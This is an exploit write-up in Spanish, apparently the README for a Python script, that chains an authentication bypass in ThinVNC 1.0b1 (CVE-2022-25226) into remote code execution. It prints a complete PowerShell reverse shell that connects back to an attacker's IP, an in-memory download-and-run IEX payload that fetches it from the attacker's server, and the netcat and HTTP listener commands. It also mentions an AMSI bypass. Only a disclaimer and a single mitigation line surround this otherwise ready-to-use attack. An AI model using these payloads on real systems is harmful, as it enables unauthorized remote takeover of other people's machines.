
ThinVNC 1.0b1 - Bypass de autenticación a RCE
Autor: krill-x7
Referencia: https://fluidattacks.com/advisories/sinatra
ThinVNC 1.0b1 contiene una vulnerabilidad de omisión de autenticación (CVE-2022-25226) que permite a atacantes remotos interactuar con el backend sin autenticación. Al aprovechar los endpoints /cmd expuestos, los atacantes pueden simular pulsaciones de teclas, abrir PowerShell, eludir AMSI y ejecutar comandos arbitrarios, lo que finalmente conduce a la Ejecución Remota de Código (RCE).
Este script encadena esas primitivas para obtener una shell reversa en el sistema objetivo.
Este código se proporciona únicamente con fines educativos.
Úselo solo en sistemas que le pertenezcan o para los que tenga autorización explícita de prueba.
rev.ps1 alojado en su máquina atacantepython3 thinvnc_rce.py -t <IP_OBJETIVO> -tp <PUERTO_OBJETIVO> -a <IP_ATACANTE> -ap <PUERTO_ATACANTE>
python3 thinvnc_rce.py -t 192.168.1.100 -tp 8080 -a 192.168.1.200 -ap 8000
rev.ps1Guarde esto en un archivo llamado rev.ps1.
Importante: Reemplace 192.168.1.200 y 8000 con la IP y el puerto de escucha de su atacante.
$client = New-Object System.Net.Sockets.TCPClient("192.168.1.200",8000);
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
$sendback = (iex $data 2>&1 | Out-String );
$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
$stream.Write($sendbyte,0,$sendbyte.Length);
$stream.Flush()
}
$client.Close()
rev.ps1Desde el mismo directorio:
python3 -m http.server 8000
nc -lvnp 8000
/cmd?cmd=connect./cmd?cmd=start.Ctrl+Esc para abrir el menú Inicio.Este es el payload que se ejecuta en memoria:
IEX((New-Object System.Net.WebClient).DownloadString('http://<IP_ATACANTE>:<PUERTO>/rev.ps1'))
Reemplace <IP_ATACANTE> y <PUERTO> con su IP y puerto reales.
/cmd mediante la configuración del servidor web o un WAF.